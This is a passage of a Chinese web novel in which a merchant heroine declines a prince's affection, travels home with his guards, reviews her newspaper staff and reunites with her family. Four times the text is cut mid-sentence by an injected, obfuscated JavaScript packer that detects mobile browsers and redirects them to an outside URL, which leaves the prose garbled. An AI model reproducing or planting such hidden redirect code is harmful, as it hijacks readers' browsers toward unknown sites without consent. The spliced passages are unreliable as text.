“已经撤啦，东西都和楼下是一样的，您看这儿也一样~”小二殷勤备至地从展台上端出一个盘子，“我刚上去瞅了一眼，段家主对这个是赞不绝口，还有丽颜的产品，定了几十个套盒呢······” 刚才还想闯二楼的女客注意力立马被小二勾走了，周围人一听，也纷纷凑过来，让他再给介绍介绍，段家主还选了哪些产品。 小二说了三四样，不等详细介绍完，周围人当即组团下定。至于更多的······小二也说不出来了，只说明天的《见闻》应该会有消息，让他们多关注关注。 莫林知在楼上看到这里，忍不住摇头感叹：“这段家主在本地的号召力果真不是虚的。” 齐铭笑了下：“明艳大方又手掌大权，处事果决也不拘小节，这样的人，男人很难不喜欢，女人也很难不羡慕。” “可不是，我就羡慕得紧。”莫林知说完，突然转头，挑眉揶揄地笑了，“所以你也喜欢？” “不，我配不上，也不喜欢。”齐铭果断否了，否得毫不迟疑，“而且，您也不必羡慕。易地而处，您不一定比她差，她也未必能做得比您好。” 极具偏袒性的话，让莫林知忍不住失笑。 算是好事吧？这些人身为她的下属，对她鼎力支持也是说明认可她嘛~~ 莫林知拍拍齐铭的肩膀，又看看萧凛，朗声交代：“我先回去了，稿子和这几天的数据你们都盯一盯，做成日报交上来。” “是！”两人齐齐应下，低头恭谨送她离开。 段如意的号召力虽然不俗，可口口相传的方式毕竟有限。当天，飞毛腿的营生虽然相较平日上涨了一倍，可这个数据，在第二天《见闻》发行后就远远不够看的了。 那天在二楼说说笑笑地将东西看了个遍，段如意大概定了8样产品。其中4样是作为婚礼的特供，另外4样，则是作为府内的长期消耗采购。除此之外，还以散单的形式带了18样东西走。 当然，散单的这些莫林知是直接让人用礼盒包好送给她的——她跟段如意签的契约可是只包含了丽颜的代言，而今天这一趟，她受了多少隐形福利了！别的不说，就飞毛腿的货物名声和品质那是绝对打出去了的。 莫林知也不是小气的，不止这些送了，还暗地跟齐铭交代了：若是后期还有别的商家想找段家主代言，必然也绕不开他们《见闻》，到时候，他可以适当给段家主一点分红什么的。 ——扯远了，回到段家主的带货力。 凡是段如意看上的东西，当日下定量相较前7天的日均订单上涨了500%。此后第二天，第三天，涨幅虽然是一点点在下降的，可这些订单也足以让庞大的货源都出现短暂的供不应求的状况。 还有丽颜的产品，涨幅始终高居不下——很多人就算扛过了段家主的带货，也在后面接二连三放出的单页诱惑下没忍住，走进了飞毛腿的体验店。 莫林知一边让人挂出了某几样产品缺货预售的消息，一边飞鸽传书，让晚玉去找颜丽，继续往沧澜城运货。 至此，这一场营销算是大获成功。 离开前的那一晚，在莫林知的主持下，大家召开了一个简单的庆功宴，神隐了好几天的萧衍也出席了。 几天未见，莫林知心里那点尴尬、羞涩好像被工作冲淡了很多。哪怕两人视线对上，也没有躲闪，反而自然而然地相视一笑，像多年的老朋友。 或者用老战友更合适。 庆功宴喝到一半，莫林知找了个借口脱身，一个人拎着壶酒，找了个僻静的角落，安安静静地举杯邀明月。 安静了没一会儿，身后传来咯吱咯吱的脚步声。 “一个人喝，不觉得寂寞了一点吗？”萧衍握着杯子走过来，学了她的样子席地而坐，自来熟地给自己也倒满，然后和她的酒杯碰了一下，“这一杯敬你，当初约定的事情，你已经做到了。今年，边军的条件要舒服不少，这些，都要感谢你。” 莫林知也一饮而尽，神情平淡地勾了勾唇：“谈不上‘做到了’，还差得远。” 萧衍闻言，忍不住笑了：“如果这都叫差得远，那我之前的经营手段，岂不是和街上那些乞丐一个等级？每天就等着哪只瞎猫撞进店里施舍两文钱~” 莫林知被逗笑了，主要是不自觉就代入了萧衍的形象，画面感太搞笑了。 笑过之后，她摆摆手，安慰道：“不能这么比，人有所长，尺有所短，你擅长的点不在经营而已。” “那在你眼里，我擅长什么？” 额······ 莫林知被问到了，萧衍擅长什么？ 很多吧？！ 他是一个优秀的将领、卓越的政治家，哪怕不善经营，但也是一个善于用人的东家······可这些，如果要用一个词概括的话，那大概是—— “你是一个优秀的棋手。” “你善于发现每一个棋子的作用，然后将他们安放在最合适的位置，一步步铸成登天之梯。” 萧衍摩挲着杯子，品味了一下，蓦地笑了：“听起来有点冷血啊······” “不，不是冷血，是冷静！我不会效忠一个冷血的人。”莫林知想都不想地反驳了，“而冷静，对于做大事人的来说，是一种很可贵的品质。是所有成功要素中，最不可缺的那一项。” 说到这里，莫林知转头，直视着他：“王爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297061|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，我也是一个冷静的人，所以我清楚的知道，在当下，什么对我来说才是最重要的。我想专注地把约定的事情做完，至于其他的······等事情结束，我想时间自会给我们答案。” 说这一番话的时候，她漆黑的眼睛里满是真诚和坚决，只一眼，萧衍就知道，这是对他感情的答复了，还不容上诉。 说不失望那绝对是假的，因为那晚她的反应告诉他，她对自己并不是毫无情意。没想到，才几天，那点点花苞就像被冰封了一样，一点开花的希望都没了。 但是失望过后，他好像又不太意外。 不管是当初契约上她提出的诉求，还是前两天在段家听到的那番话，都表明她和寻常女子截然不同。所以他本来也没期望这么短时间就能让她答应。 他只是有些担心。 “时间会给我们答案”这句话背后的意义，应该是指当事务结束之后，她的心意，是否高到促使自己更改原有的人生目标吧？ 放弃原有的闲云野鹤，悠闲自在的生活，转而成为他的另一半，承担起另一重身份的责任——这听起来就像是不可能的任务，毕竟她的心智是这么坚定。 可换个角度想，如果他抓住了这个机会，改变了她，难道不是一件让人热血沸腾的事情吗？ 男人骨子里就是有一些征服欲在的。莫林知本意是想将这件事冷一冷，搁置一边，却反而激起了萧衍心底的好胜心。此时此刻，他脑子里甚至已经出现自己牵着最爱的女人站在城墙上共赏江山的画面。 不过期望虽然美好，努力的过程还是得小心翼翼。萧衍收起万千思绪，在莫林知的酒杯上碰了一下：“你说得对，专注眼下才是最重要的。” 叮~ 空气中仿佛有谁敲响了解封的钟声，莫林知高高提起的心一下子放平了。她由衷舒了口气，真挚地感谢：“谢谢您，王爷。” 萧衍连连摆手：“别谢了，越听越心痛。” 他的语气一听就是玩笑，莫林知果真也放松地笑开了。 至此，因为解决了心里最大的一件难题，莫林知只觉得连日来的疲乏到现在才算是真正卸下来。心里的负担一减，再品这个酒，发现滋味更加不错~ 两人如同老友一般说说笑笑，直到这壶酒喝完才各自回房歇息。 还别说，这沧澜城有名的“风雪佳人”是真的不错，前一晚喝到半醉，第二天醒来居然半点头痛也无，反而还睡了一顿高质量的饱觉。 神清气爽的莫林知撑了撑懒腰，和晚香一起把箱笼搬到院子里，方便他们抬到车上。 来时不过十数人，回去时莫林知体验了一把什么叫“众星捧月”。萧衍带了百来人亲卫同行，莫林知的马车在队伍最中间，待遇堪比皇亲国戚，不知道的，还以为是哪家的公主郡主出行······ 有点夸张了，像在演电视剧(*/ω＼*)。 而且这些亲卫也不知道咋回事，她一露面就各种明里暗里的视线扫过来，搞得她都不好意思掀起帘子看风景了······ 81. 途中 晚上，队伍在一家客栈停驻休息。马车上窝了一天的莫林知跳下车第一件事就是抻了抻身子，做了个简单的全身运动。 活动完起身，她敏锐发现附近仓促收回的视线。 莫林知：？ 她转头看向走过来的萧衍，纳闷道：“你的亲卫怎么回事？看了我一天了。” “可能是你莫管事的威名传得太远了吧，所以好奇。没事儿，再看两天你也就习惯了。” 莫林知：“······” 她斜眼撇嘴：“我可真是谢谢你的金口安慰。” 萧衍闷笑了几声，然后抬脚往里走。 客栈人不多，他们这一行基本就算是把这家店承包了。而且一楼坐不下所有人，于是一部分亲卫打了招呼，叫了吃的回房，剩下一部分和他们一起留在大堂。 一群穿着盔甲的兵将大堂塞了个满满当当，出门这么多天，莫林知还是第一次感受到什么叫“安全感”。 冲萧衍竖了个大拇指，莫林知一边吃一边聊接下来的行程：“到了定安地界我就要和您分开了，去沧澜之前留了林显和何梅两人在定安铺广《见闻》，我得去验收一下成果。” 萧衍不答反问：“你的路线有想好吗？” “有，从梅岭县开始我就走南边那条路，绕一圈，最后从平安镇返回。” “时间呢？” 莫林知保守估计了一下：“顺利的话应该10来天够了。” 萧衍点点头表示知道了，就在莫林知以为这个问题已经达成共识时，他突然开了口：“我让其他人直接回军营，留下10个亲卫和我们一起。” “······啊？” 我们？？？ 萧衍瞟她一眼，见她那副茫然的样子，半是揶揄半是无奈：“莫管事，你现在可是北境响当当的人物了。你知道你的飞毛腿触动了多少人的利益吗？这次正好碰上我没事，可以顺道护你一程，以后出门在外多带点人。” “······哦，谢了。”莫林知心虚地垂下眼，专心吃面。 安全什么的，之前颜丽也提醒过她。可能是因为北境给人的印象太好了吧，又或者潜意识觉得商业竞争而已，不至于上升到人命的阶层，所以她确实没啥危机感来着。 不过就算这样，也不用亲自护送吧······ “那个，太妃娘娘一直很惦记你，要不你就先回府吧。” 萧衍抬头，皮笑肉不笑地看着她：“你刚说什么？我没听清。” “我说——”莫林知飞快瞟了他一眼，见他一副“你敢说出来试试”的表情，抽出手帕掩了掩嘴，“太妃娘娘很想你。” 最后几个字跟蚊子似的嗡嗡嗡，连莫林知自己都没听清，但这一次，对面点了头，颇为认可的样子：“你说的没错，所以我们行程加快一点，早点回去，让母亲早点安心。” 莫林知：“······” 这话怎么听起来更奇怪了，搞得两人像小夫妻似的······ 接连败下阵的她决定放弃了——有精力跟他掰扯，确实还不如早点安排好事务早了事儿。 用过晚餐，莫林知带着晚香先告退了。晚上，她习惯性地点着灯就想再“加会儿班”，没多久门外就传来敲门声，是萧衍。也不进屋，就是单纯提醒她早点休息。 莫林知有些无奈，虽是好意，但事务真的不得不做。晚香倒是一脸开心地假借“旨意”来催她洗漱休息。 推却不掉这些关心，莫林知匆匆在纸上勾了两笔，留下几个关键字，准备明天马车上再继续。 ——之前就有说，她心里有事的时候，其实晚上很难入眠。只要闭上眼，脑子里会不自觉开始梳理手头的事务。 现在也是一样，哪怕躺下，大脑却兴奋得很。 走了一趟沧澜城，收获不少。连带的，回定安之后，待完成的事情也多。 首先就是自行车，她明天得先修书一封，让提前回军营的亲卫帮忙，连带魏安和那些零件一起交给李程江。这个自行车体验大会，沧澜办了，定安这边也得办一场才行。时机其实赶在拍卖会之前是最好的，让那些合作方提前看看这个东西的效用。但是吧，距离下个月底还有三十几天，太晚了。 莫林知考虑了一下，还是提前办，然后留两辆给萧瑾以及莫林杰玩玩~到时候拍卖会前夕再借用他们的做个展示好了。 但是也不能太早，最好是办完之后全城的热度还围绕在这款产品上，这样才能让远道而来的人看到它的市场潜力。 或者······放个钩子？就说火锅店回馈老客户，年底前消费满多少金额即有机会抽取自行车一台？ 这样话题有了，火锅店的营收应该也还能创一波新高。 拿定了主意的莫林知翻了个身，继续想下一个事情——火锅底料。 距离她传信回去也有好些天了，目前吴掌柜那边还没传来任何消息，也不知道到底哪里遇上了问题。 她本意想着，回到定安之前这东西应该就能研究出来了，等她回去，直接验收成果，没有问题的话，就让吴大掌柜带一批人和货物，前往沧澜，一边利用飞毛腿将“火锅”这个东西打出名头，同时吴大掌柜开始筹备实体店事宜——这样就可以无缝衔接，节省时间。 这个也得提前修书问一下，顺便，那种真空包装的原理也可以顺道回忆下，一起捎回去。措辞也得斟酌，不能搞得像问责，但是得给人一点紧迫感。 最后就是拍卖会了，那些人来肯定得提前来吧？又不像高铁地铁什么的可以卡点。既然如此，城内就得做好接待！ 都是北境人，有钱一起赚，所以那些客栈酒楼什么的，还得通个气，不能让人空手而归啊！ 北境最近什么最出名？《见闻》、火锅、飞毛腿、以及自行车。这几样也是拍卖会的重头戏，声势得靠大家一起造起来！ 但是用什么做筹码来让那些人配合呢？ 莫林知想着想着，不知不觉就睡了。第二天清醒过来，第一件事就是下床找纸笔，赶紧将脑子里还没完全消散的关键词记下，然后才去穿衣洗漱吃早饭。 下到一楼，萧衍他们都已经整装待发了。莫林知匆匆告了歉，手脚麻利地钻进车里，小桌子一拉，开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321435|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 始围绕关键词回忆，一点点完善那些计划。 还有要稍出去的信件，她也趁早编辑好了，当晚交给了萧衍，托他安排。 萧衍看着两封厚厚的信件，听着她一刻没停的商业计划，眼神渐渐深邃厚重。 等到莫林知一气儿说完，他给人倒了杯水让她顺顺气，郑重开口：“放心，人和东西一定都给你带到也给你看好。” 莫林知回了个“OK”的手势。 “林知，我替北境谢谢你。” 不知道是这突然改变的称呼还是这过分温柔的语气，莫林知手一抖，筷子上的花生米就崩了出去。 视线追随着花生米直到它消失在别人的脚下，莫林知定了定心，转头笑了：“北境不是王爷您一个人的北境，是所有人的北境。我们都知道，要想家好，每个人都应该各司其职，付出一份心力才行。” 她说这话时声音不高，只是习武之人五感通常比常人要敏锐些，附近两桌的亲卫还是将话语听了个全，隐晦的视线再一次从四方投了过来。 莫林知没躲闪，大大方方地抬头和人对上，还笑着挥了挥手。那官兵吓得战术后仰了一下，立马低下了头。 真可爱~ 莫林知失笑摇头，想了想，再次开口冲淡这莫名变得严肃和伤感的氛围：“行啦，我就是个无利不起早的商人。覆巢之下无完卵，说白了，我只是替以后的自己图一份安稳——既然我有这个能力，当然选最粗的大腿抱~我又不傻！” 最后四个字语气太强烈，还不小心带出点方言，简直就像一股泥石流，轰地一下全场都笑了。什么家国情怀，大仁大义全都无影无踪。 萧衍隔空点了她两下，一脸无可奈何。 这一晚过后，莫林知发现，那些打量的眼神少了，大大方方打招呼的多了。她和晚香哪怕拎个食盒上车，旁边都会有人搭把手。 就······感觉还挺不赖的。 人哪~果然还是应该多和可爱的人来往~ 他们一行人行路速度不慢，很快就到了分道扬镳的时候，临别前，莫林知再次收获零嘴瓜果数袋，还有人报了自己的名字和地址，欢迎她上门作客。 莫林知站在车辕上，目送他们远去，然后缩回车里，美滋滋地磕松子~ 还别说，这群人就跟约好了似的，买的零食没一个重复的，关键味道都贼好吃~~让她真有了一种自己出门郊游的感觉。 就这样吃吃喝喝说说笑笑，一直到踏入梅岭县地界，看见等在城门的林显和何梅两人，莫林知将东西一收，正了脸色——开工了。 她冲林显点了点头，视线移向旁边的何梅：“上车吧。” 人员全部到齐，队伍再次启动。莫林知给何梅倒了杯水，先关切了一下她的家里人：“怎么没见你婆婆和孩子？” “前两天我家那位过来了，我寻思着接下来也没几天，带着他们耽误事儿，就让他带着婆婆孩子先回去了。这样说不定我们效率一高，还能比原定计划提前回。” “行，安排好了就好。那你先大致说一下情况吧。” “是！” 82. 归家 何梅将早就准备好的报告呈上，同时自己做一些旁注讲解：“截至目前我们已经完成了初步目标，达成了定安城范围内下辖全部县镇的铺量。从数据来看，最近几期的销量一直是呈上涨的趋势，尤其是最近一期，覆盖率接近70%，是《见闻》成立以来最好的成果。” “自从沧澜的消息传来之后，我们也同步对内容板式进行了调整，先连同飞毛腿和周边农户、商户一起进行试点。改版对《见闻》的销量影响不大，而飞毛腿那边，从林显那边的数据来看，效果应该是不错的。至于具体的成交额这些，林显那边也整理了一份报告，晚点由他和您沟通。” “对了，前期的时候我们也遇到了一些问题，刚开始大家对《见闻》都不太买账，还多亏了林掌柜，是他出面牵头，帮我们找了其他商铺掌柜，让他们答应做了一些联合活动，《见闻》的局面才慢慢打开的。具体的条件，耗费的成本和收益这些我单独列了一张单子，附在了报告的最后，您等会儿可以仔细看看。” “说起来，这一趟最顺利的就是平安镇了，《见闻》还没出炉，很多人就从飞毛腿和惠民食堂那边听说了，翘首以盼的。当时第一期不到一上午就卖空了，后来加急又印了一波。” 何梅一条一条，从整体目标达成率到每个城镇的达成一一列举，并从中拎了一些达成率较低的以及做的好的进行了具体分析。可以说是逻辑清晰，简洁明了。 莫林知一开始还主要将注意力放在手中报告上——因为之前，他们都是写得很好，说得一般。后来，就将手中的报告盖住，专心听人讲解了。 巨大又冗长的事务，被何梅做了重点分割和精炼，就像一个老道的厨师，将食材的各个部分分别处理再一一排列，清晰又美观。等车子停下，莫林知已经对关键数据心中有数——不得不说，在她放权的这段时间，何梅真的给了她很大惊喜。 但又不算很意外。 从一开始面试，何梅对细节的观察和独特细腻的文字就给她留下了很深刻的印象。后来，得知她丈夫常年在外，家中一应事务和孩子都只有她和她婆婆两人支应，她就知道——这是一个极具韧劲的女人。 不管是脑子还是文笔，常年不用的人必然生疏，可是何梅身上半点没有这种生疏感。想必，日常哪怕再苦再难，她也有抽出时间，坚持学习，坚持思考，坚持练习。 就像那首诗，“千磨万击还坚韧，咬定青山不放松”，这样的人，对自己的人生有一种很清醒的认知，对目标也有极强的信念感。 只要给她机会，就会一飞冲天！ 外面，萧衍已经在唤莫林知的名字，她扬声应了一下，然后拍拍何梅的肩膀，以十分的赞赏给予那双亮晶晶的眼睛回应：“干得不错，先吃饭，然后我们继续。” “是！”何梅紧绷的脸色一下子松弛了。灿烂如花的笑颜在这张稍显朴素的脸上绽放出夺人之色，只是一瞬，这张笑容就迅速收起，归于平凡。 她跟着莫林知下了车，刚刚站定，就听熟悉的声音以一种炫耀的语气介绍自己： “这是何梅，定安城《见闻》的副管事，您接下来看到的一切都是她和林显两人的战绩。” 何梅有些恍惚，她知道面前这个人是谁，只是没想到，莫管事会这样郑重其事地介绍自己。 对着那个高不可攀的北境之主，介绍她这样一个毫不起眼，微渺的底层人。而且莫管事刚刚说什么？副管事？她这是升职了吗？ 这么突然地，毫无征兆地升职了？ 何梅感觉自己如坠云端，这一脚踩下去都是软绵绵的，好在旁边晚香扶了一把。 她还没镇定下来，莫林知对话的萧衍就已经把目光对向了她，面露赞赏：“看得出来，和你一样精明强干。果真是强将手下无弱兵！” 对上两双认可的眼神，何梅一个激灵，瞬间清醒了，也“踏实”了。 她站定，学着那些男管事的样子，板正地行礼：“东家过奖，今日成就都要依托莫管事指点！也请东家和莫管事放心，只要是您的目标所向，我们必定全力以赴，不负所望！” 萧衍见状，冲莫林知点点头：“若不是行业有别，我还真想让我的兵和你的人比试比试！” 这算是一种跨越性别的认可，莫林知发自内心笑了，头一次在外人面前大胆僭越地玩笑：“别，我们输了没什么，您输了多伤士气，还得上阵震慑敌人呢~” 萧衍朗声大笑，隔空点了点她，带着人踏步往里走。 莫林知回头，温柔拍了拍何梅的肩膀：“放轻松，接下来还有好几天呢~” 就这一下，何梅肩膀肉眼可见地松垮下来，她轻轻吁了口气，不好意思地笑了。 因为何梅和林显两人的利落，这一程比莫林知想象的轻松很多。她偶尔选了几个地方的《见闻》分部去走访过，发现大家对于工作流基本都已经娴熟。不止如此，他们对自己的岗位意义，岗位职责也非常清晰：内容只是手段，卖货才是目的。 所以，及时地从飞毛腿递过来的消息中发现苗头，对应调整版面是大家习以为常的日常事务了。 每个部门各司其职，配合非常润滑。就像大大小小的齿轮，经过打磨，彼此之间已经严丝缝合，只要定期上个“润滑油”，就能维持着一个庞大的商业帝国正常运转。 很神奇，虽然大家身穿长袍短打，在古色古香的建筑中往来穿梭，但——这一幕，是莫林知心里最接近现代的时刻。 *** 从南方抵达定安城有2条陆路和一条水路。巡视的途中，莫林知也没停止对拍卖会的准备。她指着三条路线沿途会经过的城镇，交代林显：“打听一下这几个城镇里数得上号的客栈酒楼，后续我想在他们店里摆一份架子，上面就放往期的《见闻》，供那些行商歇脚的人观看。” “这么多的话，会不会代价有点大？”林显敲着笔头。 “你以为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337700|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要每个去谈吗？”莫林知失笑，“选几家有代表性的谈妥，其他的自然会跟风。不过谈也不能毫无准备，直愣愣地上门让人宰，所以你先查，具体的到时候再说。” 林显恍然，利落应下。 此后数日，除了巡查，莫林知也带着何梅林显同步商谈《见闻》展架入驻客栈酒楼一事。 每一次商谈结束，莫林知都会让何梅写一篇观摩总结，作为当日课业，亲审指点。 人要想往上升，就势必要成为多边形战士，而不是像以前一样，专精于一行。何梅和齐铭有很大不同，齐铭这个人，对市场的敏锐度就像是老天爷赐予的一样，再加上过往经历，成就了他对人心拿捏的准度。所以他不管是对业务的全局把控，还是商务谈判，又或者内容的精度，都有自己的认知。 对比之下，何梅就稍显“老实”了。她就像老师眼中最踏实的好学生，勤勉努力，但终究少了那份天才独有的惊艳感。 不过，在莫林知这儿，勤勉踏实，就是最宝贵的！ 所以这一路，她毫无保留，只希望何梅能快点成长。当然，在后续，何梅也交出了满意的答卷——先不提能否举一反三，首先最基础的，是没有犯同样的错误。 从这一点看，她每天的总结没有白写。 一行人就这样走走停停忙忙碌碌，终于在第九天进入了定安城——为此，她连平安镇都没逗留，而是直接路过了。 隔着十几米的距离，看着城门上端庄秀丽的“定安”两个字，莫林知连日奔波带来的漂泊感一下子烟消云散。 她感觉自己就像一粒浮沉，终于找到了可以“尘埃落定”之所。 “这些日子你们也累了，明天好好休息，养精蓄锐，后天正常上工。”莫林知给林显何梅放了天假，目送他们各自踏上回家的路，然后钻进马车，等待自己的最后一站。 走在路上时，虽然知道距离定安很近，但因为脑子里都是亟需了结的事务，所以也没多少闲暇想这些。直到这最后一程，每前进一里，思家的心就迫切一分。 这最后一点距离，她简直想从车顶飞出去，然后一眨眼就到了王府。 胸口，心脏不受控制地在剧烈跳动，声音越来越大，恍惚已经占据整个脑子。莫林知抬手按在心脏处，忍不住大口呼吸。 突然，期待已久的两个字终于响起： “到了。” 莫林知唰地掀开车帘跨了出去，一抬头，果然在门口看到了熟悉的人。 太妃娘娘、萧凛、莫林杰······一个不落。 她跳下车辕，本想笑着报一声平安，嘴角刚一扯动，眼泪就不受控制地滑下来了。 “姐姐······”莫林杰松开萧瑾的手，哭着冲莫林知跑过来，死死抱着她的腰不放手。 莫林知一手环抱着弟弟的肩，一手抚上他的头，涕笑感叹：“一个月不见，你就到我的腰了，王府的好东西是不是都给你吃了~” 83. 休息 这一次接风宴，还是熟悉的味道，和第一次到王府时很像，只不过，莫林知的心境完全变了，她真有种回到自己家的感觉。 萧太妃给她夹菜的手就一直没停过，一边投喂还一边“埋怨”：“你说你们俩，一出门就是按月算，十天半个月才回一封信报平安，真的是······不知道家里人会担心吗！” 莫林知抿嘴不好意思地笑了，乖乖任人数落。 她知道，萧太妃压了这么久的忧思，总要找个机会发泄出来，不然，憋着对身体不好。 其实，除了萧太妃，莫林杰这次也有点被吓到了。从小相依为命从没分开过，乍一下一个多月不见人影，他中间有段时间连书都读不进去。 萧瑾和萧太妃这边没少接到夫子告状。 后来还是萧瑾天天带着他同吃同睡，和他来了一场“男子汉”之间的对话，才终于将莫林杰的状态拉回正轨。 这场对话，萧瑾说了很多。其实从个人经历来看，他也应该是这个家里最能理解莫林杰的人。 小的时候，他和莫林杰一样，只能被动地看着父兄一次又一次的离家，而他唯一能做的，是压下心底的害怕，努力长大，努力逗母亲开心。 后来有一天，父亲战死，边关告急，他还是只能身着素缟，跪在灵前，眼睁睁地看着唯一的兄长带兵出征。 这种年龄差带来的无力感几欲将他淹没，而他不能显露半分，只能一边将痛苦和恐慌深深掩埋，一边支撑起家里的母亲，支撑起这个王府。 “其实哪怕现在，每次看着兄长出门，我都还是会害怕的，害怕哪一天，他就被人抬着回来了。可是小杰，每个人有他自己的责任，这片天，不是靠一两个人就能撑起来的。出门在外的人承受了很多，所以，留在家里的人，才更要好好抓住每一天，努力学习，努力长大，争取早日长到和他们一样高大，能帮他们一起撑起这些担子。” “你姐姐是个很了不起的人，作为弟弟，你要比她更优秀，否则，你就只能永远生活在她的庇护之下，看着她经历挫折困难而你却什么都做不了——这是你想要的未来吗？” 莫林杰猛地摇头，全身心拒绝这种可能性。 萧瑾的心情完全说到了他的心坎上，所以最后的道理，也比其他任何人的话语要有信服力。 虽然表情还是难过的，但是泪水洗过的眸子里已然坚定起来。莫林杰看着萧瑾，稚嫩的声音做着比大人还庄重的保证：“我明天就去找先生把这几天的课程全部补上，萧瑾哥哥，我以后再也不任性了！” 这话一出，萧瑾一个十五六岁的半大少年眼眶红了。 担心唯一的亲人又怎么算得上“任性”呢，只是，身在这个世道，连正常该享有的都变成奢侈了。 “小杰果然和林知姐一样，是最棒的！”萧瑾轻轻抱住了这个弟弟，就像曾经母亲抱住了他一样。 不过，这些人后的坚强，又关人前什么事呢~ 莫林知一回来，莫林杰又成了那个依赖姐姐的弟弟~ 家宴结束，牵着姐姐回了院子的莫林杰明明已经很困，但始终不肯闭上眼，眼神迷离地强撑着和莫林知聊天，看得她又心疼又好笑。 最后，好不容易把人哄上床，莫林知拿了一本史书当做睡前故事，声音低沉而温柔地念着，直到这小子眼皮一点点阖上，她才给他掖了掖被子，轻手轻脚地离开。 刚出房门，晚香从小厨房端了一个托盘出来，放到院子的藤木桌上招呼她：“刚炖好的莲子雪耳汤，莫管事喝了再去休息吧。” 莫林知走过去一看，清清爽爽的一份甜汤，表面撒了点红红的枸杞点缀，看着和银耳莲子汤没啥区别，不过确实蛮诱人的。 莫林知乖乖喝了，然后泡了个澡上床。也不知道是甜汤的作用还是热水澡的效果，总之这一晚确实睡得满热乎的，不像以往，除了夏天，春秋冬睡到一半就被自己冻醒，下半身跟在冰窖一样。 第二天她也没着急忙慌地去《见闻》报到，先是带着莫林杰去陪萧太妃吃了个早餐，聊了会儿这一路的见闻和事情。 快到中午的时候，晚香突然来报，说颜丽上门求见。莫林知就提前向太妃告退，然后回了自己院子。才进门，就先迎接了颜丽一个人造出的轰轰烈烈的掌声。 “咱们财神爷可算是回来了，信女恭迎您凯旋~~” 莫林知：“······正经点。” 颜丽当即叫屈：“我哪里不正经了？一字一句发自肺腑好吗。你都不知道，这阵子我那边出货量涨了多少，工坊那边都新增了2条生产线了！” “飞毛腿那边数据我一直盯着我怎么可能不知道。”莫林知翻了个白眼，“所以你专程上门就是为了说这个？” “？？？我就不能第一时间表达下感谢吗？”颜丽一脸“委屈”，演了会儿，见莫林知毫不接茬，嘿嘿一笑恢复了正常，“我就是想问问，你说······我要不要去沧澜也开一家分店？” “开分店的必要性在哪？如果是为了赚钱，飞毛腿这个渠道占到的份额已经够了，再往上争抢，就触到了别人的底限，你觉得你有什么背景拼得过？如果是为了做品牌力，分店是要开的，不过目前还没到时候。我要是你，就先好好做产品，丰富下产品线。” 莫林知每说一句，颜丽的脸色就垮一分，说道最后，她一脸丧气地叹了一声，然后从满桌的礼盒里找出一个小木盒子推到了莫林知面前：“你之前说的那个，师傅做出来了，你看看是不是你说得那种？” 哪个？粉底和散粉？ 莫林知好一会儿才想起这茬。她没想到这人还真给捣鼓出来，当即来了兴趣。 木盒打开后，里面放着两个贝壳形状的白瓷罐子，巴掌大，表面用楷书写着修容粉底和定妆散粉字样，角落有一个红泥印章式样的‘丽颜’品牌落款。 莫林知先试了粉底。膏状表面看着挺油润的，她用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13344692|130909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指腹抹了一点在手背推开，发现延展性也还行。 “这个主要的功效是在遮瑕和均匀肤色，其次要保证它的妆容持久性。除此之外，油皮和干皮的上妆需求是不一样的，干皮容易卡粉，油皮妆面容易斑驳，这些都需要针对性地调整比例，然后再找各种肤质的人测试过，形成具有专业性的报告才能上线······” “打住，你说的都还没有。才研究出来没几天呢，哪有这么快！你当每个人都是你这种一工作就餐风饮露的神仙啊！”颜丽捂着耳朵，一脸头疼的样子，“你就先说说这一款，是不是你说的那个东西。” “是，八九不离十了。” “那不就结了嘛，夸我一句咋这么难~~”颜丽一下子笑颜如花，拍拍旁边的一堆礼盒，“这些都是带给太妃娘娘的，劳烦你帮我转交下~” 莫林知：“······我以为你是专程来给我送礼的。” 她翻了个白眼，让晚香将东西收起来，晚上去后院吃饭时一起带过去，然后留人吃了个中饭。 两个人说说笑笑，莫林知和她聊起了自己见到的另一个与众不同的女人段如意，颜丽也分享了她以前和段如意之间的少许渊源。 